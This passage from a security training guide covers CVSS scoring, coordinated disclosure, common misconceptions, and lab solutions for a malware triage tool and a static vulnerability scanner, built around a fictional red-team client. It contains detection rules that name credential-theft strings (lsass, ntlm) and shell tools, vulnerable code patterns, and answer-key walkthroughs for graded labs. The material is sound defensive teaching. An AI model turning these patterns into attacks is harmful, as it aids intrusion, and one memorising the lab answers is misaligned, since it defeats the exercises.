| PR | L | Requires authenticated user session |
| UI | N | No user interaction |
| S | U | Impact on the web application component |
| C | H | Application config with credentials readable |
| I | N | Read-only traversal |
| A | N | No availability impact |
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base Score: 6.5 — Medium. Important finding but lower urgency than the SQL injection above.
Chapter 9: Responsible Disclosure
9.1 What Responsible Disclosure Is
Responsible disclosure (also called coordinated disclosure or CVD — Coordinated Vulnerability Disclosure) is the practice of reporting security vulnerabilities to the affected vendor or developer before public disclosure, giving them time to develop and release a fix, and then publicly disclosing the details.
This stands in contrast to:
- Full disclosure: Immediately publishing all details including a working exploit.
- Non-disclosure (bug hoarding): Keeping the vulnerability secret indefinitely, typically for operational use or sale to exploit brokers.
9.2 The 90-Day Standard
Google Project Zero established the 90-day disclosure deadline in 2014 as a fixed, publicly committed policy. The process:
- Researcher discovers vulnerability and reports it to the vendor privately.
- Vendor receives a 90-day deadline to release a fix.
- At day 90, Project Zero publishes the bug report regardless of vendor fix status.
- If the vendor releases a patch before day 90 but requests more time for customer adoption, Project Zero grants a 14-day grace extension (for a total of 104 days).
- If day 90 passes with no patch, the details are published, sometimes including a PoC.
Why 90 days? Google's stated rationale: 90 days is enough time for a competent vendor to triage, develop, test, and deploy a patch. Longer deadlines reduce pressure for timely fixes and leave users exposed for extended periods. Shorter deadlines favor attackers over defenders.
Industry context: CERT/CC originally used a 45-day standard. MSRC (Microsoft Security Response Center) and other major vendors have largely aligned to 90-day expectations through industry normalization. The ISO/IEC 29147 standard provides a framework for vulnerability disclosure but does not mandate specific timelines.
9.3 The CVD Process Step by Step
Step 1 — Discovery and documentation Document the vulnerability fully before contacting the vendor: reproduction steps, PoC, affected versions, initial CVSS assessment. Do not contact the vendor with a vague report ("there might be a vulnerability") — this wastes everyone's time.
Step 2 — Identify the responsible contact
- security.txt (RFC 9116): Many modern organizations publish a
/.well-known/security.txtfile with their vulnerability disclosure contact. Check this first. security@[domain]: The conventional email address for security reports.- CERT/CC, CISA, or national CERTs: For government or critical infrastructure systems.
- Bug bounty platforms (HackerOne, Bugcrowd): If the vendor runs a public program.
Step 3 — Initial contact Send an encrypted report (PGP if the vendor publishes a key, or through a secure platform). Include: affected component, reproduction steps, impact assessment, CVSS score, your requested disclosure timeline. Do not include a working weaponized exploit in the initial report — a PoC that demonstrates impact is sufficient and reduces risk of the report being weaponized if mishandled.
Step 4 — Coordinate during the fix window Maintain confidential communication with the vendor. Provide any additional technical assistance requested. Track the fix timeline. Request a CVE identifier from MITRE or the vendor's CNA (CVE Numbering Authority) if applicable.
Step 5 — Publication After the patch is released (or the deadline expires), publish:
- A write-up describing the vulnerability class, affected versions, and impact
- The CVSS vector
- The CVE identifier
- Remediation guidance
- Credit to the researcher
9.4 Red Team Engagement Context
In a red team engagement against Meridian Freight, vulnerability findings are delivered differently from standard CVD:
- Engagement findings are delivered to the client (Meridian Freight) in the final report, not to a vendor. The client IS the vendor in this context.
- Timeline is negotiated in the rules of engagement, not imposed unilaterally.
- Third-party vulnerabilities (e.g., a CVE in the Django version Meridian runs) are out of scope for CVD — Meridian reports those through the standard CVD process with the Django project, and the red team notes the version exposure in the engagement report.
- Novel 0-days discovered in third-party software during the engagement should be disclosed to the vendor per CVD norms, with notification to the client.
9.5 Safe Harbor and Legal Protection
Responsible disclosure does not provide universal legal protection. Depending on jurisdiction:
- US: Computer Fraud and Abuse Act (CFAA) creates legal risk for unauthorized access even for research purposes. A vendor's bug bounty policy or CVD policy establishes "safe harbor" — an agreement not to pursue legal action for good-faith security research.
- EU: Directive on attacks against information systems (2013/40/EU). Member state implementations vary.
- Always conduct security research with explicit written authorization (scope, rules of engagement). For engagement findings, this is the statement of work.
Chapter 10: Misconceptions
Misconception 1: "High entropy always means packed malware"
False. High entropy in a PE section means the bytes are statistically uniform. This is true of compressed data, encrypted data, cryptographic key material, and pseudo-random data — not only packed malware. A PDF viewer with embedded font compression, a game with compressed texture assets, and a packed Trojan all show high entropy. The packing heuristic requires high entropy PLUS low import count as a combined signal.
Misconception 2: "os.path.join() prevents path traversal"
False. os.path.join() constructs a path by joining components. It does NOT resolve
or validate the result. os.path.join("/base", "../etc/passwd") returns "/base/../etc/passwd".
After os.path.normpath(), this becomes "/etc/passwd". Prevention requires
os.path.realpath() (which resolves symlinks and relative components) followed by a
prefix check.
Misconception 3: "Parameterized queries prevent all SQL injection"
Mostly true, with one exception. Parameterized queries (prepared statements) prevent
injection in query parameters. However, dynamic table names and column names CANNOT be
parameterized — SQL syntax does not allow a parameter placeholder where a table name or
column name appears. If you must use user-supplied table or column names, you must use
an explicit allow-list: if table_name not in ALLOWED_TABLES: raise ValueError.
Misconception 4: "CVSS score = risk"
False. CVSS Base Score measures intrinsic severity without context. A 9.8 CVSS vulnerability in a process that is not network-accessible, runs in a sandboxed container, and handles only synthetic test data presents minimal real-world risk. A 5.5 CVSS vulnerability in the internet-facing authentication endpoint of a bank may present catastrophic risk. CVSS is an input to risk assessment, not the output.
Misconception 5: "Decompiled code is source code"
False. Decompilers reconstruct pseudo-code from compiled binaries. The output approximates what the original source might have looked like, but:
- Variable names are generated (often
local_10,param_1) - Compiler optimizations may have merged, inlined, or eliminated code
- Data structures may be inferred incorrectly
- Template instantiations may not be distinguishable from regular functions
- The decompiler may misidentify function boundaries
Use decompiled output as a starting point, not a final answer. Cross-reference with dynamic analysis to verify behavioral hypotheses.
Misconception 6: "Responsible disclosure means waiting forever for the vendor"
False. Standard coordinated disclosure includes a fixed deadline (typically 90 days) after which the researcher publishes regardless of vendor fix status. Indefinite waiting without publication harms users who remain exposed and removes vendor incentive for timely patches. The 90-day standard exists specifically to balance vendor fix time against user protection.
Chapter 11: Lab Walkthroughs
11.1 Lab 01 — Binary Triage Engine
What the lab tests: You are implementing a binary triage pipeline that takes a Python
dict (synthetic binary metadata) and produces a structured report. The four functions
implement progressively more complex analysis, with triage_report() as the integrating
function.
high_entropy_sections(metadata)
Iterate metadata["sections"]. For each section dict, compare section["entropy"] to
the threshold 7.0 using a strictly-greater-than comparison. Return the name field of
qualifying sections. This is a straightforward filter operation.
def high_entropy_sections(metadata):
sections = metadata.get("sections", [])
return [s["name"] for s in sections if s.get("entropy", 0.0) > 7.0]
Key detail: the comparison is > 7.0, not >= 7.0. A section with entropy exactly 7.0
is NOT flagged. Test T3 (test_high_entropy_sections_boundary_exactly_7_not_included)
specifically catches off-by-one errors here.
packer_detected(metadata)
Three rules in priority order:
-
Any section entropy
> 7.0ANDlen(imports) <= 3: return"likely_packed". Note: the import count condition applies to the total number of import records, not distinct DLLs. -
Section names include
.UPX0or.UPX1: return"UPX". Note: rule 1 takes priority. If a binary has UPX sections AND few imports AND high entropy, rule 1 fires first and returns"likely_packed", not"UPX". The testtest_packer_detected_upx_by_section_nameuses a fixture with 5 imports to ensure rule 1 fails and rule 2 fires. -
Section names include
"themida"or".themida": return"Themida". -
None: return
False(the boolean value, not the string"False").
suspicious_strings(strings_list)
Five categories in priority order (first match wins):
url:s.startswith("http://") or s.startswith("https://")ip_address: match against a simple IPv4 regex^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$shell_command:"cmd.exe" in s.lower() or "powershell" in s.lower()base64_like:len(s) >= 20andre.match(r'^[A-Za-z0-9+/=]+$', s)high_entropy_str:len(s) >= 16and" " not in sand NOT all hex chars
Sort by severity: HIGH (_SEVERITY_ORDER = 0), MEDIUM (1), LOW (2). Within each
severity, sort alphabetically by the string value.
triage_report(metadata)
Call the three helper functions, then apply classification logic. The critical path:
import_functions = {imp["function"] for imp in metadata.get("imports", [])}- Injector:
"NtAllocateVirtualMemory" in import_functionsAND ("NtWriteVirtualMemory"OR"WriteProcessMemory"in import_functions) - Loader:
"ReflectiveLoader" in exportsORpacker_detected()is truthy - Credential stealer: any of
"lsass","sam","ntlm"appears as a substring in any string (case-insensitive comparison). Checks.lower()for each string against each indicator. - Dropper: URL in strings AND packer is truthy
- Unknown: none of the above
11.2 Lab 02 — Source Code Vulnerability Scanner
What the lab tests: You are implementing a line-by-line static pattern scanner over Python source code strings.
sql_injection_patterns(code)
Split on newlines, iterate with enumerate(lines, start=1). For each line:
- Check if any SQL keyword appears (use
re.search(r'\b(SELECT|INSERT|UPDATE|DELETE|WHERE)\b', line, re.IGNORECASE)) - If yes, check if any interpolation marker appears (
" + "," % ",".format(","{") - If both: append
{line_hint: line_number, pattern_type: "sql_string_concat", severity: "CRITICAL"}
Edge case: a line with { but no SQL keyword is not flagged. A line with a SQL keyword
but using parameterized ? placeholders is not flagged (no +, %, .format, or {).
command_injection_patterns(code)
Three independent checks per line:
"os.system("in line"shell=True"in line ANDnot line.strip().startswith("#")(comment exclusion)"eval("in line
A single line can produce multiple findings if it triggers multiple conditions
(e.g., a line with both os.system( and eval( produces two records).
path_traversal_patterns(code)
Two conditions:
"open("in line AND ("+"in line OR".format("in line OR"{"in line)"os.path.join("in line AND any of("request", "input", "param", "args")appears in line
scan_snippet(snippet)
Combine all three scanner outputs, then add CWE fields:
_CWE_MAP = {
"sql_string_concat": {"cwe": 89, "name": "SQL Injection"},
"os_system": {"cwe": 78, "name": "Command Injection"},
"subprocess_shell_true": {"cwe": 78, "name": "Command Injection"},
"eval_call": {"cwe": 78, "name": "Command Injection"},
"open_string_concat": {"cwe": 22, "name": "Path Traversal"},
"path_join_user_input": {"cwe": 22, "name": "Path Traversal"},
}
Then call severity_rank() on the enriched list.
severity_rank(findings)
Sort key: (_SEVERITY_ORDER[severity], line_hint). Use a dict like
{"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3} and .get(severity, 99) for
unknown values.
Chapter 12: Interview Q&A
Q1: What does Shannon entropy tell you about a binary section, and what is the threshold for suspicion?
Answer:
Shannon entropy measures the statistical unpredictability of the byte distribution in a
data region. The formula is H = -sum(p_i * log2(p_i)) where p_i is the probability
of byte value i across all 256 possible values. The output ranges from 0.0 (all bytes
identical — zero information content) to 8.0 (all byte values equally probable — maximum
information density).
For binary sections, the threshold for suspicion is H > 7.0 bits/byte. Normal executable
code (x86 instruction encodings) has entropy in the range 5.0–6.5 because instruction
opcodes have non-uniform but also non-random distributions. Sections with entropy above
7.0 contain data that has been either compressed (removing structural patterns, raising
entropy) or encrypted (introducing pseudo-random byte values). Both are characteristic
of packed or obfuscated malware.
You combine entropy with import count to reduce false positives: a packed binary has both
high section entropy AND a minimal import table (usually just LoadLibraryA and
GetProcAddress for the unpacking stub). Legitimate binaries with compressed embedded
resources may have a high-entropy .rsrc section but a full, rich import table.
Q2: Explain the difference between the System V AMD64 ABI and the Microsoft x64 ABI. Why does this matter for binary analysis?
Answer:
Both ABIs define how x86-64 function calls work, but they differ in two critical ways:
Argument registers: System V (Linux/macOS) uses RDI, RSI, RDX, RCX, R8, R9 for the first six integer/pointer arguments. Microsoft x64 (Windows) uses RCX, RDX, R8, R9 for the first four. Arguments beyond that limit go on the stack in both ABIs.
Shadow space: Microsoft x64 requires the caller to allocate 32 bytes of "home space" on the stack before every call, even if fewer than four arguments are passed. System V has no equivalent requirement — it has the "red zone" (128 bytes below RSP usable by leaf functions without adjusting RSP), which serves a different purpose.
RDI and RSI: In System V, these are caller-saved argument registers. In Microsoft x64, they are callee-saved non-volatile registers. This means Windows functions must preserve RDI and RSI across the call if they use them.
For binary analysis, this matters because decompilers and disassemblers must be configured for the correct ABI to correctly attribute register values to function arguments. Analyzing a Windows PE binary using System V assumptions will produce incorrect decompiler output — the wrong registers will be interpreted as function arguments, leading to incorrect data flow analysis and wasted analysis effort.
Q3: What does a minimal import table (two imports: LoadLibraryA, GetProcAddress) tell you, and what additional signals confirm your hypothesis?
Answer:
A minimal import table consisting of only LoadLibraryA and GetProcAddress is the
canonical signature of a packed or shellcode-loading binary. These two functions form a
universal API resolution primitive: given any DLL name and function name, LoadLibraryA
loads the DLL into the process and GetProcAddress returns the function's address. The
binary's runtime stub uses this pair to reconstruct its real import table after unpacking.
This pattern is strong but not conclusive. Additional signals that confirm the packing hypothesis:
- Section entropy above 7.0 bits/byte in one or more code or data sections
- UPX section names (
.UPX0,.UPX1) or other packer-specific section names - Zeroed PE timestamp (opsec measure common in professional threat actors)
- Absent PDB path (no developer artifact)
- Absent or empty export table
Confirmation via dynamic analysis: load the binary in a sandbox (Cuckoo, Any.run) or
a controlled VM and observe the GetProcAddress call sequence. API monitor will log
every function resolution, revealing the real import set that the static analysis hid.
Q4: How do you distinguish SQL injection from safe parameterized queries in source code without executing the code?
Answer:
The key indicator is the method by which user-supplied data enters the SQL query string. There are two fundamentally different patterns:
Unsafe (injection vulnerable): The query string is constructed by concatenating or interpolating user data into a string literal. The database driver receives a complete SQL string where the user data is already incorporated and syntactically indistinguishable from the SQL structure.
Patterns to detect:
"SELECT ... WHERE x = " + user_input(string concatenation with+)"SELECT ... WHERE x = '%s'" % user_input(%-formatting)f"SELECT ... WHERE x = '{user_input}'"(f-string interpolation)"SELECT ... WHERE x = {}".format(user_input)(.format()method)
Safe (parameterized): The query string contains a placeholder (typically ? for
SQLite, %s for psycopg2/MySQL, @param for some ORMs). The user data is passed
separately as a parameter tuple. The database driver sends query and parameters separately;
the database engine substitutes them after parsing, making injection impossible.
Pattern: conn.execute("SELECT ... WHERE x = ?", (user_input,))
A static scanner looks for lines containing SQL keywords AND interpolation markers.
Lines with SQL keywords but only ? placeholders (and no interpolation) are safe.
This heuristic has false positives (legitimate use of { in SQL like {schema_name}
in certain ORM patterns) — a human reviewer must evaluate scanner hits.
Q5: What is CVSS Scope, and when would a web application vulnerability have Scope: Changed?
Answer:
Scope in CVSS v3.1 captures whether successful exploitation can impact components beyond the vulnerable component itself. Scope has two values:
U(Unchanged): The vulnerability and its impact are confined to the vulnerable component. Exploiting a SQL injection vulnerability extracts data from the database — the impact is within the database/application boundary.C(Changed): Exploitation can reach and impact a different security scope. The attacker can pivot from the exploited component to a separate, distinct component with its own security context.
For web application vulnerabilities, Scope: Changed applies to:
-
Server-Side Request Forgery (SSRF): The web application's server-side code is exploited to make requests to internal services (metadata API at
169.254.169.254, internal databases, internal admin interfaces). The vulnerable component is the web application; the impacted component is the internal network or cloud metadata service. -
Stored Cross-Site Scripting (XSS): The vulnerability is in the web application server; the impact is in the victim user's browser (a different security context — the user's session, stored credentials, etc.). Stored XSS typically scores
S:C. -
Container escape vulnerabilities: A vulnerability in a containerized web application that allows escape to the host OS. The vulnerable component is the container; the impacted component is the host OS with a different security principal.
Most conventional SQL injection, command injection, and path traversal findings score
S:U because the impact stays within the application's security domain.
Q6: Describe the responsible disclosure timeline for a critical vulnerability you discover in Meridian Freight's custom application during a red team engagement. How does this differ from standard CVD?
Answer:
In a red team engagement, the disclosure workflow differs from standard CVD in a fundamental way: Meridian Freight is both the target and the client. There is no third-party vendor to notify. The disclosure workflow is governed by the rules of engagement (ROE) established before the engagement began.
Engagement disclosure workflow:
-
During the engagement: Document the finding with full reproduction steps, CVSS score, and impact assessment. Do not remediate during the engagement unless the ROE specifically authorizes it — remediation changes the target state.
-
End-of-engagement debrief: Present critical findings to the CISO and security team in an immediate debrief meeting, before the final report. Critical findings (CVSS >= 9.0) should be communicated verbally as soon as discovered if they represent active risk.
-
Final report: Deliver the complete findings report with prioritized remediation roadmap within the timeframe specified in the SOW (typically 5–10 business days after engagement end).
How this differs from CVD:
- No 90-day deadline: The client has already paid for the disclosure; there is no adversarial dynamic that the 90-day standard is designed to address.
- No publication: Engagement findings are delivered under NDA. They are not published.
- Immediate access: The client has the right to immediate notification regardless of remediation status.
Exception — third-party software: If the engagement discovers a 0-day in a third-party component (a vulnerability in the version of Django, PostgreSQL, or Nginx that Meridian runs that has no existing CVE), the red team firm has an ethical obligation to initiate CVD with the third-party vendor, with the client's knowledge.
Q7: What is the difference between a loader and a dropper in malware classification, and how do you distinguish them from the import table and string artifacts?
Answer:
A loader and a dropper both deliver and execute a secondary payload, but they differ in where the secondary payload comes from:
Loader: The secondary payload is embedded within the loader binary (in a high-entropy section, in an encrypted resource, or appended to the binary). The loader extracts and executes the payload from its own content. It requires no network access to function.
Import table indicators: VirtualAlloc, VirtualProtect (to create executable memory
for the payload), LoadLibraryA + GetProcAddress (for reflective loading), CreateThread
or NtCreateThreadEx (to execute the payload). The reflective DLL injection technique
adds ReflectiveLoader to the export table.
String artifacts: No HTTP URLs. Potentially section names indicative of packing. No C2 domain or IP strings.
Dropper: The secondary payload is downloaded from a remote C2 server at runtime. The dropper binary does not contain the payload itself.
Import table indicators: WinInet or WinHTTP API family (InternetOpenA, InternetOpenUrlA,
HttpSendRequestA, InternetReadFile, or WinHttpOpen + friends). Also WinExec,
CreateProcess, or ShellExecuteA for executing the downloaded payload.
String artifacts: HTTP or HTTPS URLs (C2 endpoints), domain names, user-agent strings, sometimes encoded or decrypted at runtime.
In ambiguous cases: A sample may combine both — embedding a small dropper stub that downloads a larger second-stage loader. Dynamic analysis in a sandbox reveals the download behavior and second-stage execution.
Q8: Walk through the CVSS scoring of a command injection vulnerability found in Meridian Freight's internal admin panel that requires an authenticated admin session to reach.
Answer:
Scenario: The admin panel of the Meridian Freight logistics system has a diagnostic
endpoint that accepts a hostname parameter and executes ping -c 4 <hostname> using
os.system(). The endpoint is on the internal network only (not internet-facing). It
requires an authenticated admin session (high-privilege user).
Scoring:
| Metric | Value | Rationale |
|---|---|---|
| AV | A | Adjacent network — requires access to the internal admin network segment |
| AC | L | No special conditions; single parameter injection |
| PR | H | Admin-level authentication required |
| UI | N | No user interaction needed once authenticated |
| S | C | Command injection on the server enables execution on the underlying OS — different security scope from the web application component |
| C | H | Full read access to server filesystem, environment variables, secrets |
| I | H | Arbitrary file write, data modification |
| A | H | Can kill processes, fill disk, crash server |
CVSS vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Base Score: 8.0 — High.
Key scoring decisions:
AV:AnotAV:Nbecause the admin panel is not internet-facing (internal network only)PR:HnotPR:Lbecause the endpoint requires admin-level credentialsS:Cbecause command injection breaks out of the web application security scope into the host OS — a fundamentally different security principal- All three impact metrics are High because arbitrary command execution on the host OS means total compromise of that system
This is still a High-severity finding despite requiring admin access, because admin credentials are commonly obtained via phishing (Phase 10), credential stuffing, or privilege escalation from a lower-privileged account.
References
-
Shannon, C. E. (1948). "A Mathematical Theory of Communication." Bell System Technical Journal, 27(3), 379–423. — Original entropy paper.
-
Microsoft. "x64 Calling Conventions." Microsoft Learn. https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention
-
System V Application Binary Interface AMD64 Architecture Processor Supplement. https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf
-
FIRST. "Common Vulnerability Scoring System v3.1: Specification Document." https://www.first.org/cvss/v3.1/specification-document
-
MITRE. "Common Weakness Enumeration (CWE)." https://cwe.mitre.org/
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-502: Deserialization of Untrusted Data
- CWE-120: Buffer Copy without Checking Size of Input
-
MITRE ATT&CK. "T1027.002 — Obfuscated Files or Information: Software Packing." https://attack.mitre.org/techniques/T1027/002/
-
Google Project Zero. "Disclosure Policy." https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html
-
ISO/IEC 29147:2018. "Information technology — Security techniques — Vulnerability disclosure." Geneva: International Organization for Standardization.
-
UPX — the Ultimate Packer for eXecutables. https://upx.github.io/
-
OWASP. "SQL Injection Prevention Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
-
OWASP. "Path Traversal." https://owasp.org/www-community/attacks/Path_Traversal
-
Mandiant. "M-Trends 2023." https://www.mandiant.com/m-trends
-
NSA / CISA. "Top Cybersecurity Misconfigurations." Advisory AA23-278A, 2023.
-
Ghidra — Software Reverse Engineering Framework. https://ghidra-sre.org/ — NSA-released free decompiler and disassembler.
-
RFC 9116. "A File Format to Aid in Security Vulnerability Disclosure." https://www.rfc-editor.org/rfc/rfc9116